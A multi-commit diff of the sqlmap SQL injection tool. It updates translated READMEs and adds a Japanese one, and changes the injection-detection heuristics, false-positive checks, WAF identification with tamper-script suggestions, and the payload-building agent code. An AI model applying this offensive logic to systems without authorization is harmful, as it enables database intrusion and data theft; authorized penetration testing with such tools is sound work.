Automatic monthly tagging

Update of parsed versions
Update for JSP exceptions
2026-10-12 02:22:55 +00:00 · 2016-06-01 10:44:08 +02:00 · 2016-06-01 10:44:08 +02:00 · 2016-05-31 15:35:10 +02:00 · 2016-05-31 14:55:56 +02:00 · 2016-05-31 14:05:35 +02:00
104 changed files with 1745 additions and 982 deletions
@@ -33,7 +33,7 @@ To get a list of all options and switches use:

    python sqlmap.py -hh

-You can find a sample run [here](https://gist.github.com/stamparm/5335217).
+You can find a sample run [here](https://asciinema.org/a/46601).
 To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).

 Links
@@ -59,6 +59,7 @@ Translations
 * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
 * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
+* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
@@ -32,7 +32,7 @@ Para obtener una lista de todas las opciones:

    python sqlmap.py -hh

-Se puede encontrar una muestra de su funcionamiento [aquí](https://gist.github.com/stamparm/5335217).
+Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
 Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki).

 Enlaces
@@ -33,7 +33,7 @@

    python sqlmap.py -hh

-Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217).
+Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
 Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki).

 Σύνδεσμοι
@@ -33,7 +33,7 @@ Kako biste dobili listu svih opcija i prekidača koristite:

    python sqlmap.py -hh

-Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217).
+Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
 Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki).

 Poveznice
@@ -34,7 +34,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan:

    python sqlmap.py -hh

-Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217).
+Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
 Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki).

 Tautan
@@ -0,0 +1,54 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
+強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
+
+スクリーンショット
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots)
+
+インストール
+----
+
+最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。
+
+[Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。:
+
+    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+
+使用法
+----
+
+基本的なオプションとスイッチの使用法をリストするには:
+
+    python sqlmap.py -h
+
+全てのオプションとスイッチの使用法をリストするには:
+
+    python sqlmap.py -hh
+
+実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
+sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。
+
+リンク
+----
+
+* ホームページ: http://sqlmap.org
+* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
+* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
+* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -34,7 +34,7 @@ Para obter a lista completa de opções faça:

    python sqlmap.py -hh

-Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217).
+Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601).
 Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki).

 Links
@@ -37,7 +37,7 @@ Bütün seçenekleri gösterir

    python sqlmap.py -hh

-Program ile ilgili örnekleri [burada](https://gist.github.com/stamparm/5335217) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
+Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz

 Links
 ----
@@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/)  **2.6.x**  和

    python sqlmap.py -hh

-你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
+你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。

 链接
 ----
@@ -99,7 +99,7 @@ void usage(char *path)
 	printf("  -h                 this screen\n");
 	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
    printf("                     before quitting\n");
-	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+	printf("  -s bytes           maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
 	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
    printf("increase the size (-s) of the data buffer\n");
 }
@@ -203,8 +203,6 @@ int main(int argc, char **argv)
 	PROCESS_INFORMATION pi;
 	int status;
 	unsigned int max_data_size;
-	struct hostent *he;
-

 	// set defaults
 	target = 0;
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 import copy
 import httplib
+import random
 import re
 import socket
 import time
@@ -54,6 +55,7 @@ from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import NOTE
 from lib.core.enums import NULLCONNECTION
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
@@ -62,9 +64,9 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapUserQuitException
-from lib.core.settings import CLOUDFLARE_SERVER_HEADER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
+from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
@@ -77,6 +79,7 @@ from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
+from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
 from lib.techniques.union.test import unionTest
@@ -97,6 +100,9 @@ def checkSqlInjection(place, parameter, value):
    tests = getSortedInjectionTests()
    seenPayload = set()

+    kb.data.setdefault("randomInt", str(randomInt(10)))
+    kb.data.setdefault("randomStr", str(randomStr(10)))
+
    while tests:
        test = tests.pop(0)

@@ -173,10 +179,11 @@ def checkSqlInjection(place, parameter, value):
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
+                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
-                            test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
-                            title = re.sub(r"\b%d\b" % _, str(2 * _), title)
-                            test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
+                            test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
+                            title = re.sub(r"\b%d\b" % _, str(__), title)
+                            test.title = re.sub(r"\b%d\b" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
@@ -380,8 +387,6 @@ def checkSqlInjection(place, parameter, value):
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content
-                        kb.data.setdefault("randomInt", str(randomInt(10)))
-                        kb.data.setdefault("randomStr", str(randomStr(10)))

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
@@ -460,20 +465,34 @@ def checkSqlInjection(place, parameter, value):
                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
+                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
+                                        if _ > kb.matchRatio:
+                                            kb.matchRatio = _
+                                            logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)

-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                            if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
                                trueSet = set(extractTextTagContent(truePage))
+                                trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
+
                                falseSet = set(extractTextTagContent(falsePage))
+                                falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
+
                                candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet)))

                                if candidates:
-                                    conf.string = candidates[0]
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
+                                    candidates = sorted(candidates, key=lambda _: len(_))
+                                    for candidate in candidates:
+                                        if re.match(r"\A\w+\Z", candidate):
+                                            break
+                                    conf.string = candidate
+
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
                                    logger.info(infoMsg)

                                    injectable = True
@@ -518,7 +537,7 @@ def checkSqlInjection(place, parameter, value):
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True
@@ -538,7 +557,7 @@ def checkSqlInjection(place, parameter, value):
                                    warnMsg = "using unescaped version of the test "
                                    warnMsg += "because of zero knowledge of the "
                                    warnMsg += "back-end DBMS. You can try to "
-                                    warnMsg += "explicitly set it using option '--dbms'"
+                                    warnMsg += "explicitly set it with option '--dbms'"
                                    singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)
@@ -691,19 +710,20 @@ def checkSqlInjection(place, parameter, value):
    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
-            warnMsg = "in OR boolean-based injections, please consider usage "
+            warnMsg = "in OR boolean-based injection cases, please consider usage "
            warnMsg += "of switch '--drop-set-cookie' if you experience any "
            warnMsg += "problems during data retrieval"
            logger.warn(warnMsg)

-        injection = checkFalsePositives(injection)
-
-        if not injection:
+        if not checkFalsePositives(injection):
            kb.vulnHosts.remove(conf.hostname)
+            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
+                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
+
    else:
        injection = None

-    if injection:
+    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

@@ -748,7 +768,7 @@ def checkFalsePositives(injection):
    Checks for false positives (only in single special cases)
    """

-    retVal = injection
+    retVal = True

    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
@@ -774,7 +794,7 @@ def checkFalsePositives(injection):
                    break

            if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
-                retVal = None
+                retVal = False
                break

            # Just in case if DBMS hasn't properly recovered from previous delayed request
@@ -782,22 +802,22 @@ def checkFalsePositives(injection):
                checkBooleanExpression("%d=%d" % (randInt1, randInt2))

            if checkBooleanExpression("%d=%d" % (randInt1, randInt3)):          # this must not be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)):        # this must not be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)):    # this must be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif checkBooleanExpression("%d %d" % (randInt3, randInt2)):        # this must not be evaluated to True (invalid statement)
-                retVal = None
+                retVal = False
                break

-        if retVal is None:
+        if not retVal:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

@@ -885,6 +905,7 @@ def heuristicCheckSqlInjection(place, parameter):
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

+    kb.heuristicPage = page
    kb.heuristicMode = False

    parseFilePaths(page)
@@ -906,7 +927,7 @@ def heuristicCheckSqlInjection(place, parameter):

        if not result:
            randStr = randomStr()
-            payload = "%s%s%s" % (prefix, "%s%s" % (origValue, randStr), suffix)
+            payload = "%s%s%s" % (prefix, "%s.%d%s" % (origValue, random.randint(1, 9), randStr), suffix)
            payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
            casting = Request.queryPage(payload, place, raise404=False)

@@ -947,7 +968,7 @@ def heuristicCheckSqlInjection(place, parameter):
        infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
        logger.info(infoMsg)

-    for match in re.finditer("(?i)[^\n]*(no such file|failed (to )?open)[^\n]*", page or ""):
+    for match in re.finditer(FI_ERROR_REGEX, page or ""):
        if randStr1.lower() in match.group(0).lower():
            infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
            infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
@@ -1235,6 +1256,9 @@ def identifyWaf():
    if not conf.identifyWaf:
        return None

+    if not kb.wafFunctions:
+        setWafFunctions()
+
    kb.testMode = True

    infoMsg = "using WAF scripts to detect "
@@ -1276,7 +1300,7 @@ def identifyWaf():
            break

    if retVal:
-        errMsg = "WAF/IDS/IPS identified '%s'. Please " % retVal
+        errMsg = "WAF/IDS/IPS identified as '%s'. Please " % retVal
        errMsg += "consider usage of tamper scripts (option '--tamper')"
        logger.critical(errMsg)

@@ -1287,7 +1311,7 @@ def identifyWaf():
        if output and output[0] not in ("Y", "y"):
            raise SqlmapUserQuitException
    else:
-        warnMsg = "no WAF/IDS/IPS product has been identified (this doesn't mean that there is none)"
+        warnMsg = "WAF/IDS/IPS product hasn't been identified"
        logger.warn(warnMsg)

    kb.testType = None
@@ -1383,10 +1407,6 @@ def checkConnection(suppressOutput=False):
        else:
            kb.errorIsNone = True

-        if headers and headers.get("Server", "") == CLOUDFLARE_SERVER_HEADER:
-            warnMsg = "CloudFlare response detected"
-            logger.warn(warnMsg)
-
    except SqlmapConnectionException, ex:
        if conf.ipv6:
            warnMsg = "check connection to a provided "
@@ -1415,3 +1435,6 @@ def checkConnection(suppressOutput=False):

 def setVerbosity():  # Cross-linked function
    raise NotImplementedError
+
+def setWafFunctions():  # Cross-linked function
+    raise NotImplementedError
@@ -45,6 +45,7 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
@@ -225,23 +226,23 @@ def _saveToResultsFile():
    results = {}
    techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))

-    for inj in kb.injections:
-        if inj.place is None or inj.parameter is None:
+    for injection in kb.injections + kb.falsePositives:
+        if injection.place is None or injection.parameter is None:
            continue

-        key = (inj.place, inj.parameter)
+        key = (injection.place, injection.parameter, ';'.join(injection.notes))
        if key not in results:
            results[key] = []

-        results[key].extend(inj.data.keys())
+        results[key].extend(injection.data.keys())

    for key, value in results.items():
-        place, parameter = key
-        line = "%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep)
+        place, parameter, notes = key
+        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), notes, os.linesep)
        conf.resultsFP.writelines(line)

    if not results:
-        line = "%s,,,%s" % (conf.url, os.linesep)
+        line = "%s,,,,%s" % (conf.url, os.linesep)
        conf.resultsFP.writelines(line)

 def start():
@@ -463,7 +464,7 @@ def start():
                            infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

-                        elif parameter in conf.skip:
+                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
@@ -520,23 +521,30 @@ def start():

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
+                                injectable = False

-                                if injection is not None and injection.place is not None:
-                                    kb.injections.append(injection)
+                                if getattr(injection, "place", None) is not None:
+                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
+                                        kb.falsePositives.append(injection)
+                                    else:
+                                        injectable = True

-                                    # In case when user wants to end detection phase (Ctrl+C)
-                                    if not proceed:
-                                        break
+                                        kb.injections.append(injection)

-                                    msg = "%s parameter '%s' " % (injection.place, injection.parameter)
-                                    msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
-                                    test = readInput(msg, default="N")
+                                        # In case when user wants to end detection phase (Ctrl+C)
+                                        if not proceed:
+                                            break

-                                    if test[0] not in ("y", "Y"):
-                                        proceed = False
-                                        paramKey = (conf.hostname, conf.path, None, None)
-                                        kb.testedParams.add(paramKey)
-                                else:
+                                        msg = "%s parameter '%s' " % (injection.place, injection.parameter)
+                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
+                                        test = readInput(msg, default="N")
+
+                                        if test[0] not in ("y", "Y"):
+                                            proceed = False
+                                            paramKey = (conf.hostname, conf.path, None, None)
+                                            kb.testedParams.add(paramKey)
+
+                                if not injectable:
                                    warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
                                    warnMsg += "injectable"
                                    logger.warn(warnMsg)
@@ -585,24 +593,24 @@ def start():
                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
-                        errMsg += "(or '--regexp')"
+                        errMsg += "(or '--regexp')."
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
-                        errMsg += "exclusively True responses"
+                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
-                        errMsg += "does not match exclusively True responses"
+                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could retry "
                        errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"

-                    raise SqlmapNotVulnerableException(errMsg)
+                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False
@@ -651,6 +659,8 @@ def start():
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
+                _saveToResultsFile()
+
                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg)
            else:
@@ -669,9 +679,10 @@ def start():
    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info("fetched data logged to text files under '%s'" % conf.outputPath)

-    if conf.multipleTargets and conf.resultsFilename:
-        infoMsg = "you can find results of scanning in multiple targets "
-        infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
-        logger.info(infoMsg)
+    if conf.multipleTargets:
+        if conf.resultsFilename:
+            infoMsg = "you can find results of scanning in multiple targets "
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            logger.info(infoMsg)

    return True
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 from lib.core.common import Backend
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
@@ -101,7 +102,10 @@ def setHandler():
                conf.dbmsConnector.connect()

        if handler.checkDbms():
-            conf.dbmsHandler = handler
+            if kb.resolutionDbms:
+                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
+            else:
+                conf.dbmsHandler = handler
            break
        else:
            conf.dbmsConnector = None
@@ -35,10 +35,12 @@ from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
+from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
+from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.unescaper import unescaper
@@ -95,9 +97,12 @@ class Agent(object):
        paramDict = conf.paramDict[place]
        origValue = getUnicode(paramDict[parameter])

-        if place == PLACE.URI:
+        if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
            paramString = origValue
-            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+            if place == PLACE.URI:
+                origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
+            else:
+                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
@@ -161,6 +166,9 @@ class Agent(object):
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
+        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
+            _ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
+            retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
@@ -273,7 +281,7 @@ class Agent(object):
            where = kb.injection.data[kb.technique].where if where is None else where
            comment = kb.injection.data[kb.technique].comment if comment is None else comment

-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and comment == GENERIC_SQL_COMMENT:
+        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
            comment = queries[DBMS.ACCESS].comment.query

        if comment is not None:
@@ -296,7 +304,7 @@ class Agent(object):
        _ = (
                ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
                ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
-                ("[HASH_REPLACE]", kb.chars.hash_),
+                ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
            )
        payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)

@@ -713,8 +721,11 @@ class Agent(object):

        if conf.uFrom:
            fromTable = " FROM %s" % conf.uFrom
-        else:
-            fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
+        elif not fromTable:
+            if kb.tableFrom:
+                fromTable = " FROM %s" % kb.tableFrom
+            else:
+                fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")

        if query.startswith("SELECT "):
            query = query[len("SELECT "):]
@@ -747,6 +758,9 @@ class Agent(object):
            intoRegExp = intoRegExp.group(1)
            query = query[:query.index(intoRegExp)]

+            position = 0
+            char = NULL
+
        for element in xrange(0, count):
            if element > 0:
                unionQuery += ','
@@ -985,12 +999,13 @@ class Agent(object):

    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
-        select = re.search("\ASELECT\s+", expression, re.I)
-        selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+        select = re.search(r"\ASELECT\s+", expression, re.I)
+        selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
+        selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)

        _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)

-        if selectTopExpr:
